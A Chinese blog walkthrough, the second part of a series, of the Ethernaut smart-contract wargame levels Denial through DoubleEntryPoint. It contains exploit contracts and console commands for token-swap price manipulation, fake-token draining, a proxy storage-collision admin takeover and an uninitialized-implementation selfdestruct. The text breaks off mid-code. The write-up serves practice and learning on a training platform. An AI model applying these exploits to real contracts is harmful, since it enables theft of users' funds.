要么改变世界,要么适应世界

【Ethernaut闯关录】下篇

2023-03-31 10:41:28
331
目录

原文再续,书接上回,本文继续闯关,本次我们来完成剩余所有关卡。

Denial

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {

    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] +=  amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

通关条件:阻止合约所有者通关调用withdraw()函数取回资金。

要想阻止其转账,貌似只有从calltransfer处入手,但是对于owner变量和amountToSend我们无法控制,因此我们只能从call入手,该函数调用的地址partner是我们可以控制的,因此我们可以尝试利用该外部调用,触发一个revert操作。我原本想部署一个合约,然后在fallback函数中revert

fallback()external{
        revert('');
}

不过最终没有通关,网上找了一个

pragma solidity ^0.6.0;

contract attack {

    address public target;

    constructor(address _addr) public payable {
        target=_addr;
        target.call(abi.encodeWithSignature("setWithdrawPartner(address)", address(this)));
    }

    fallback() external payable {
        assert(false);
    }
}

依旧没有通关!

Shop

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

通关条件:将isSold变量设置为true同时将price减小。

本关卡实际上和关卡【Elevator】的解法差不多的。但是不同之处是这里的price是用view进行修饰。

view修饰的函数,只读取状态,但不修改状态

pure修饰的函数,既不读取也不修改状态。

这里的修改状态,是指:修改状态变量、触发事件、创建合约、使用selfdestruct、通过call发送以太币、使用call调用任何没有被标记为view或者pure的函数、使用低级call、使用包含opcode的内联汇编。

在关卡【Elevator】中,我们通过在合约中设置一个变量来区分是第几次调用,而本关卡已经无法继续使用该方法了,因为我们将来实现的price()函数将不能够修改状态变量。

但是仔细想想,我们虽然不能通过本地合约中的变量来区分是第几次调用,但是不妨碍我们访问外部合约中的变量来确定啊,实际上我们可以通过判断Shop合约中的isSold变量来判断这是第几次调用,不过得使用staticcall,该函数不会改变状态:

contract Buyer {
    address public instance;
    constructor(address _instance){
    	instance = _instance;
    }
    function attack()public{
    	 (bool success, bytes memory returnedData) = instance.call{gas:100000}(
    	 	abi.encodeWithSignature("buy()")
    	 );
		 require(success);
    }
    function price() external view returns (uint){
  		(bool success, bytes memory returnedData) = instance.staticcall(
    		abi.encodeWithSignature("isSold()")
    	);
		require(success);
    	bool isSold = abi.decode(returnedData, (bool));
        if(isSold){
    		return 0;
    	}else{
    	return 100;
    	}
  	}
}

Dex

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract Dex is Ownable {
  address public token1;
  address public token2;
  constructor() {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }
  
  function addLiquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapPrice(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  }

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableToken(token1).approve(msg.sender, spender, amount);
    SwappableToken(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableToken is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public {
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

通关条件:盗走合约中的两个代币之一即可。

该合约中的函数swap()主要是实现给其他用户进行交换代币,然后通过getSwapPrice实现类似“汇率”的功能,即如果合约拥有的两种代币余额假若不同,则调用方需要支付的代币数目就会和得到的代币(当然这两种代币是不同的)数目不一样,问题就出在“汇率”的计算,因为该值等于合约拥有的两种代币余额的比值,假设两种代币中,合约拥有数量较少的代币为A,较多的是B,那么我们将A作为from_token,那么我就可以获得比amont还多的代币B(因为比值大于1),并保证调用swap后,合约拥有这两种代币的数量大小关系发生改变,接着我们就可以更换from_token,继续调用,直至最后达到合约拥有某个代币的数量为0,例如我们先用10个token1换取10个token2,,此时,合约和我们的各种代币余额如下:

token1 token2
player 0 20
contract 110 90

然后用20个token2换取token1,得到数量为$20*\frac{110}{90}$的token1

token1 token2
player 24 0
contract 86 110

不断重复上述过程,不过在此之前要先授权:

await contract.approve(instance, 500)

然后按照上面的逻辑,不断交换两种token

await contract.swap('0x0ED5115953919866C5ED60f1fb44baBC356B5132', '0xc5e8b6e202a68a9C08BcF776138831D10A587714', 10)
await contract.swap('0xc5e8b6e202a68a9C08BcF776138831D10A587714', '0x0ED5115953919866C5ED60f1fb44baBC356B5132', 20)
await contract.swap('0x0ED5115953919866C5ED60f1fb44baBC356B5132', '0xc5e8b6e202a68a9C08BcF776138831D10A587714', 24)
await contract.swap('0xc5e8b6e202a68a9C08BcF776138831D10A587714', '0x0ED5115953919866C5ED60f1fb44baBC356B5132', 30)
await contract.swap('0x0ED5115953919866C5ED60f1fb44baBC356B5132', '0xc5e8b6e202a68a9C08BcF776138831D10A587714', 41)
await contract.swap('0xc5e8b6e202a68a9C08BcF776138831D10A587714', '0x0ED5115953919866C5ED60f1fb44baBC356B5132', 45)

完成最后的命令后,双方token如下:

token1 token2
player 110 20
contract 0 90

至此,我们已经将合约的token1全部获取,达成通关条件!

Dex Two

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract DexTwo is Ownable {
  address public token1;
  address public token2;
  constructor() {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function add_liquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

  function getSwapAmount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
    SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public {
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

**通关条件:**盗走合约中的两个代币。

这一关卡和上一关类似,只不过swap函数中,去掉了代币种类限制。也就是说,我们可以通关部署我们自己的代币,然后给我们player和合约DexTwo一定数量的代币,然后用新的代币换token1或者token2,即可实现:

pragma solidity ^0.8.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";

contract AttackToken1 is ERC20 {
    constructor(address _player, address _instance) ERC20('AttackToken1', 'T1'){
        // 我们分别给我们自己,以及合约 DexTwo 各一个token
        // 然后我们我们使用数量为 1 的该代币,即可换取其100个 token1
        // 因为合约 DexTwo 拥有 token 100 个,拥有 AttackToken1 1 个,二者相差100倍
        // 我们就可以获取 1 * 100 = 100 个token1了
        _mint(_player, 1);
        _mint(_instance, 1);
  }
}

contract AttackToken2 is ERC20 {
    constructor(address _player, address _instance) ERC20('AttackToken2', 'T2'){
       // 同上
       _mint(_player, 1);
        _mint(_instance, 1);
  }
}

从控制台获取playerinstance地址后,部署上面两个合约,然后进行授权:

await contract.approve(instance, 500)
Attacktoken1.approve(instance_addr, 500)
Attacktoken2.approve(instance_addr, 500)

然后就是调用swap函数了。

await contract.swap(attacktoken1_addr,token1_addr, 1)
await contract.swap(attacktoken2_addr,token2_addr, 1)

Puzzle Wallet

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "../helpers/UpgradeableProxy-08.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) {
        admin = _admin;
    }

    modifier onlyAdmin {
      require(msg.sender == admin, "Caller is not the admin");
      _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
      require(address(this).balance == 0, "Contract balance is not 0");
      maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
      require(address(this).balance <= maxBalance, "Max balance reached");
      balances[msg.sender] += msg.value;
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] -= value;
        (bool success, ) = to.call{ value: value }(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success, ) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}

**通关条件:**劫持钱包,成为代理的管理员

本关卡参考自【https://xz.aliyun.com/t/11159#toc-15】

本关卡涉及代理,我们先来说一下代理模式,这是一种常见的设计模式,提供通过代理的方式访问真正的实例,生活中经理和秘书的关系实际上就是一种代理模式,我们要和经理打交道,先通过和秘书预约,秘书会转发消息到经理,经理的决策反馈到秘书,最终秘书会告知我们结果。

在程序设计中,如果我们要访问模块A,我们可以通过访问代理B,在代理B中,有模块A的对象实例,并且二者的接口几乎一致,使得我们调用B的时候,我们以为我们在调用A。

代理模式优点是:实现热部署,即如果我们业务逻辑要更新,我们只要在代理中切换实例对象即可,使用者并不知道服务有中断。

在智能合约中,该模式还有利于解决区块链中“一旦上链,就无法更新代码”的问题,我们可以部署一个代理合约,然后给管理员暴露一个切换真实实例的接口(函数),然后将转发功能fallback函数中执行。

获取本道题的实例后,得到一个地址,0xb042791D96306B9A1e7dD3B8f3e7734af2B37C8f,然后在控制台输入:

await contract.methods

我们可以看到,都是PuzzleWallet 中的函数,可是实际上这个地址真的是合约PuzzleWallet的实例地址吗?实际上并不是,我们在Ethernaut的github项目中找到【工厂合约】,在

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import './base/Level.sol';
import './PuzzleWallet.sol';

contract PuzzleWalletFactory is Level {

  function createInstance(address /*_player*/) override public payable returns (address) {
    require(msg.value ==  0.001 ether, "Must send 0.001 ETH to create instance");

    // deploy the PuzzleWallet logic
    PuzzleWallet walletLogic = new PuzzleWallet();

    // deploy proxy and initialize implementation contract
    bytes memory data = abi.encodeWithSelector(PuzzleWallet.init.selector, 100 ether);
    PuzzleProxy proxy = new PuzzleProxy(address(this), address(walletLogic), data);
    PuzzleWallet instance = PuzzleWallet(address(proxy));

    // whitelist this contract to allow it to deposit ETH
    instance.addToWhitelist(address(this));
    instance.deposit{ value: msg.value }();

    return address(proxy);
  }

  function validateInstance(address payable _instance, address _player) override public view returns (bool) {
    PuzzleProxy proxy = PuzzleProxy(_instance);

    return proxy.admin() == _player;
  }
}

可以看出,先是创建一个PuzzleWallet合约,然后创建PuzzleProxy并最后返回proxy地址。

那为什么从abi层面来看,又是PuzzleWallet呢?其实这就是代理模式,我们实际上暴露的就是实际合约的接口,用户面向的是代理。

通过查看UpgradeableProxy【源码1】【源码2】,我们可以发现,其在fallback函数中使用了delegatecall,该调用方式类似于库函数调用,借用远方地址的代码,修改本地的数据,但是该方式需要远方地址和本地地址有相同的存储槽相同,否则极易发生错误。

回到本关卡,为了达到将代理合约的管理员修改为我们自己,我们需要调用approveNewAdmin()函数,然后该函数只有管理者本身才可以调用,那我们该如何下手?我们仔细一想,我们能不能使用delegatecall来干点事,我们先看一下PuzzleProxy的存储:

---------------------------------
|unused (12)| pendingAdmin (20) | <- slot 0
---------------------------------
|unused (12)|      admin (20)   | <- slot 1
---------------------------------

再看一下PuzzleWallet的存储:

---------------------------------
|unused (12)|      owner (20)   | <- slot 0
---------------------------------
|         maxBalance (32)       | <- slot 1
---------------------------------
...

实际上二者并不相同,如果我们尝试使用delegatecall的方式修改变量maxBalance的同时,也会修改admin这是突破口

我们再来看看,如何能够修改maxBalance,支持修改改变量的函数只有两个,一个是initsetMaxBalance,前者是只能在创建合约时候调用,后者是需要我们在白名单内,我们再看看如何把我们加入到白名单中,加入白名单需要调用addToWhitelist,而该函数又被限制了只能是PuzzleWallet 的所有者(owner)才能访问,那我们看看能不能成为该所有者,很遗憾,PuzzleWallet 中没有函数可以做到修改所有者,但是实际上我们还可以继续通过delegatecall进行。

由于pendingAdminowner是处于同一slot,即我们通过调用PuzzleProxy.proposeNewAdmin,即可完成对owner的修改。

web3.utils.keccak256("proposeNewAdmin(address)")
'0xa6376746fd40c5ce12d104971ce46bc4c5b160393fb8e6810412fb23e06a0770'
// 取前 4 个字节
selector = '0xa6376746'
// 将我们的地址补全到 32 个字节
param = '000000000000000000000000' + player.slice(2,)
param.length == 64
// 调用
await web3.eth.sendTransaction({from: player, to: instance, data:selector + param})
await contract.owner() == player

完成上面以后,我们即可获取PuzzleWallet 的所有权。

然后将我们加入到白名单中:

await contract.addToWhitelist(player)

setMaxBalance函数还有一个要求,即合约拥有的以太币要为零。通过查询,await getBalance(instance),我们发现,其内有0.001的以太币,如果我们想要通过execute函数转走合约中的余额,就要求balances中记录我们的余额不为零且大于要转走的数目,而现在该值为零,想要它不为零,则要先转入以太币,这样又造成了其余额增多,因此该方法不可取。

换句话说,如果我们如果能够通过某种方式使得balances[player]>player转给合约的以太币,那么我们最后就可以通过execute将合约中的以太币都转走。

再仔细看看,我们发现PuzzleWallet 中还有一个函数multicall,该函数是用于实现一次性完成多次交易的,我们还注意到,其函数内有一段代码:

if (selector == this.deposit.selector) {
	require(!depositCalled, "Deposit can only be called once");
    // Protect against reusing msg.value
    depositCalled = true;
}

也就是说,在一次调用multicall中,最多只能对deposit调用一次,看上去心思缜密,但是实际上只是通过selector来进行判断,而这一步骤是可以绕过的,即第一次我们调用deposit(),第二次通过其本身调用multicall(deposit()),然后我们就可以使用0.001以太币的代价使得balances[player]修改两次(因为selector == this.deposit.selector被我们绕过了,multicall(deposit())是通过delegatecall的方式调用,该方式调用时候msg不会改变)

// 获取deposit()函数的签名
depositData = await contract.methods["deposit()"].request().then(v => v.data)
// 获取multicall(deposit())的签名
multicallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(v => v.data)
// 通过一次调用multicall,实现两次调用deposit
await contract.multicall([depositData, multicallData], {value: toWei('0.001')})
// 确保合约记录我们的余额与合约拥有的代币数量相同
fromWei(await contract.balances(player)) == await getBalance(instance)

这里查询我们的“余额”使用contract.balances()是因为我们想要看看合约中记录的我们的余额是多少,即在合约看来,我们有多少钱,后者使用getBalance是查询合约拥有的以太币。

下一步就是要清空合约中的以太币了:

await contract.execute(player, toWei('0.002'), 0x0)
await getBalance(instance) == 0

下一步,就是通过设置设置maxBalance来修改admin了:

player
_maxBalance = '0x000000000000000000000000' + player.slice(2,)
_maxBalance.length == 66
await contract.setMaxBalance(_maxBalance)

我只能说这道题,完全碾压我😭

Motorbike

// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";

contract Motorbike {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    
    struct AddressSlot {
        address value;
    }
    
    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
    constructor(address _logic) public {
        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success,) = _logic.delegatecall(
            abi.encodeWithSignature("initialize()")
        );
        require(success, "Call failed");
    }

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`. 
    // Will run if no other function in the contract matches the call data
    fallback () external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }
}

contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    address public upgrader;
    uint256 public horsePower;

    struct AddressSlot {
        address value;
    }

    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success,) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }
    
    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
        
        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}

**通关条件:**将Engine进行销毁。

虽然Engine合约中没有调用selfdestruct函数的逻辑,但是该合约继承了Initializable,表明其具有更新的能力,为了更新Engine合约,使其具有selfdestruct函数的逻辑,我们要调用upgradeToAndCall,该函数会先调用_authorizeUpgrade,即对发起者进行判断是不是upgrader,后者的值可以在initialize中修改,前提是Engine没有被“完全”初始化,即Engine中的initialized为1.可是其真的为1了吗?

通过简单的审计,我们可以得出结论Motorbike是代理合约,Engine是逻辑合约,后者继承了Initializable合约,根据题目给的Initializable合约链接,我们可以知道Initializable中有两个布尔型变量,因此Engine的slot 0 布局如下:

-------------------------------------------------------
unused(10)|upgrader(20)|initializing(1)|initialized(1)| <- slot0
-------------------------------------------------------

此外,Motorbike 合约将逻辑合约地址写入到了一个标准位置,即_IMPLEMENTATION_SLOT

我们可以先看看该合约中的内容:

slot = '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc'
await web3.eth.getStorageAt(instance,slot)
'0x00000000000000000000000099fd7881e8df22fbfc339184c2b7aa55bd803aa6'
await web3.eth.getStorageAt('0x09c53d4a08a1b840fa4401e5219bdd91557c74a9',0)
'0x0000000000000000000000000000000000000000000000000000000000000000'

我们可以看得到,实际上initializinginitialized都是false。也就是说我们是可以调用initialize()来将upgrader修改为我们的地址,然后再调用upgradeToAndCall,修改新地址为我们部署的合约,data设置为调用selfdestruct(),因此攻击合约如下:

pragma solidity <0.7.0;
contract MotorbikeAttack {
	address public engin_addr ;
	
	constructor(address _engin_addr)public{
		engin_addr = _engin_addr;
	}
	
	function attack() public{
        // 先调用 initialize() ,将Engine中的upgrader设置为本合约地址
		_setupgrader();
        // 部署一个含有 selfdestruct 逻辑的合约
		ContractWithDestruct ct = new ContractWithDestruct();
        // 由于在 Engine 中,会通过delegatecall的方式调用data
		// 因此实际上是 Engine 会执行
		(bool success, ) = engin_addr.call(
			abi.encodeWithSignature("upgradeToAndCall(address,bytes)",
			address(ct),abi.encodeWithSignature("destruct()"))
		);
        require(success);
	}
	
	function _setupgrader() internal {
		(bool success, ) = engin_addr.call(
			abi.encodeWithSignature("initialize()")
		);
		require(success);
	}
}
contract ContractWithDestruct{
	function destruct()external{
		selfdestruct(msg.sender);
	}
}

使用await web3.eth.getStorageAt(instance,slot)获得的地址部署上述合约,然后调用attack函数即可完成攻击。

DoubleEntryPoint

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/access/Ownable.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

interface DelegateERC20 {
  function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}

interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
    function setDetectionBot(address detectionBotAddress) external;
    function notify(address user, bytes calldata msgData) external;
    function raiseAlert(address user) external;
}

contract Forta is IForta {
  mapping(address => IDetectionBot) public usersDetectionBots;
  mapping(address => uint256) public botRaisedAlerts;

  function setDetectionBot(address detectionBotAddress) external override {
      usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
  }

  function notify(address user, bytes calldata msgData) external override {
    if(address(usersDetectionBots[user]) == address(0)) return;
    try usersDetectionBots[user].handleTransaction(user, msgData) {
        return;
    } catch {}
  }

  function raiseAlert(address user) external override {
      if(address(usersDetectionBots[user]) != msg.sender) return;
      botRaisedAlerts[msg.sender] += 1;
  } 
}

contract CryptoVault {
    address public sweptTokensRecipient;
    IERC20 public underlying;

    constructor(address recipient) {
        sweptTokensRecipient = recipient;
    }

    function setUnderlying(address latestToken) public {
        require(address(underlying) == address(0), "Already set");
        underlying = IERC20(latestToken);
    }

    /*
    ...
    */

    function sweepToken(IERC20 token) public {
        require(token != underlying, "Can't transfer underlying token");
        token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
    }
}

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
    DelegateERC20 public delegate;

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }

    function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
        delegate = newContract;
    }

    function transfer(address to, uint256 value) public override returns (bool) {
        if (address(delegate) == address(0)) {
            return super.transfer(to, value);
        } else {
            return delegate.delegateTransfer(to, value, msg.sender);
        }
    }
}

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
    address public cryptoVault;
    address public player;
    address public delegatedFrom;
    Forta public forta;

    constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) {
        delegatedFrom = legacyToken;
        forta = Forta(fortaAddress);
        player = playerAddress;
        cryptoVault = vaultAddress;
        _mint(cryptoVault, 100 ether);
    }

    modifier onlyDelegateFrom() {
        require(msg.sender == delegatedFrom, "Not legacy contract");
        _;
    }

    modifier fortaNotify() {
        address detectionBot = address(forta.usersDetectionBots(player));

        // Cache old number of bot alerts
        uint256 previousValue = forta.botRaisedAlerts(detectionBot);

        // Notify Forta
        forta.notify(player, msg.data);

        // Continue execution
        _;

        // Check if alarms have been raised
        if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
    }

    function delegateTransfer(
        address to,
        uint256 value,
        address origSender
    ) public override onlyDelegateFrom fortaNotify returns (bool) {
        _transfer(origSender, to, value);
        return true;
    }
}

通关条件:部署一个异常检测机器人,监测合约并防止外部攻击者耗尽CryptoVault,使其耗尽不应耗尽的代币。

本关卡参考自:http://www.snowywar.top/?p=3848

根据描述,我们知道我们有两个代币,一个legacytoken,是一个被废弃的,还有一个是DcoubleEntrypoint,是取而代之的新货币,即它是legacytoken新版本

有个CryptoVault的金库.提供一个sweeptoken的方法,允许任何人向swepttokensrecipient sweep.

检查就是我们不能转移Vaultunderlying代币,实际上该地址是DoubleEntryPoint地址。

部署时两种代币分别持有100,我们的目的是创建一个检测机器人,检测合约防止被外部攻击者耗尽cryptovault

通过观察LegacyToken 合约,我们不难发现,delegate就是DoubleEntryPoint的合约本身,意味着在legacyToken上执行转移时,本质是DoubleEntryPoint.delegateTransfer

对于LegacyToken合约:

  • onlyDelegateFrom只允许delegateFrom调用这个函数。在此案例中,只有LegacyToken合约被允许调用这个函数,否则任何人都可以从origSender调用_transfer(即低级别的ERC20转账)。
  • fortaNotify是一个特殊的函数修改器,触发一些特定的Forta逻辑,就像我们之前看到的那样

_transfer只检查toorSender不是address(0),以及origSender有足够的代币转账到to,但它不检查orSendermsg.sender或花费者有足够的授权。这就是为什么我们有onlyDelegateFrom修改器。

通过结合我们收集到的所有信息,你是否发现了我们可以利用的错误?回顾一下我们现有的知识:

  • CryptoVaultunderlying代币是DoubleEntryPoint。合约提供了一个sweepToken来转账Vault中的代币,但它阻止了对DoubleEntryPoint代币的转移(因为它是underlying)。
  • DoubleEntryPoint代币是一个ERC20代币,它实现了一个自定义的delegateTransfer函数,只能由LegacyToken代币调用,并由Forta通过执行fortaNotify函数修改器监控。该函数允许委托人将一定数量的代币从 origSpender 转账到一个任意的接收者。
  • LegacyToken是一个已经被 废弃 的ERC20代币。当transfer(address to, uint256 value)函数被调用时,DoubleEntryPoint(该代币的 新版本delegate.delegateTransfer(to, value, msg.sender)被调用。

问题出在哪里?因为LegacyToken.transferDoubleEntryPoint.transfer镜像,这意味着当你要求转账1个LegacyToken时,实际上你在转账1个DoubleEntryPoint代币(要做到这一点,余额中必须有这两者)。

CryptoVault 包含100个两种代币,但 sweepToken 只阻止了 底层 DoubleEntryPoint 的转账。

但是通过了解LegacyToken的工作原理,我们可以通过调用CryptoVault.sweep(address(legacyTokenContract))轻松抽取所有DoubleEntryPoint代币。

既然我们知道如何利用它,下一步就是阻止该过程。

DoubleEntryPoint.delegateTransfer()被调用时候,由于fortaNotify 修饰器,IForta 中的handleTransaction最终先被调用。

为了进一步处理,我们先来了解一下msg.data是如何被函数传递:

  • 最初,msg.data被修饰器fortaNotify()收到,将包含以下函数签名:function delegateTransfer(address to, uint256 value, address origSender)

  • 然后将其发送到调用 handleTransaction(user, msgData) 函数的 notify() 函数。这将更改我们的函数接收到的 msg.data

  • 最终的 msg.data 将包含函数 handleTransaction(address user, bytes calldata msgData) external msg.data;在第二个参数字节中,calldata msgData 将是 delegateTransfer() 函数的实际 msg.data。这是我们为了获取 origSender 的值而需要访问的内容。

下表显示了我们将开发的检测机器人看到的调用数据的排列。我们要关注的值是 0xa8 位置上的 origSender:

偏移量 变量大小(字节) 类型
0x00 4 bytes4 handleTransaction(address,bytes) 的选择器== 0x220ab6aa
0x04 32 address user 的地址
0x24 32 uint256 msgData的偏移量
0x44 32 uint256 msgData的长度
0x64 4 bytes4 delegateTransfer(address,uint256,address) 的选择器== 0x9cd1a121
0x68 32 address to 的地址
0x88 32 uint256 value 参数
0xA8 32 address origSender 参数 (我们需要关心的)
0xC8 28 bytes 根据编码字节的 32 字节参数规则进行零填充

有了上面的分析后,我们就可以着手写我们的检测机器人的逻辑了:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
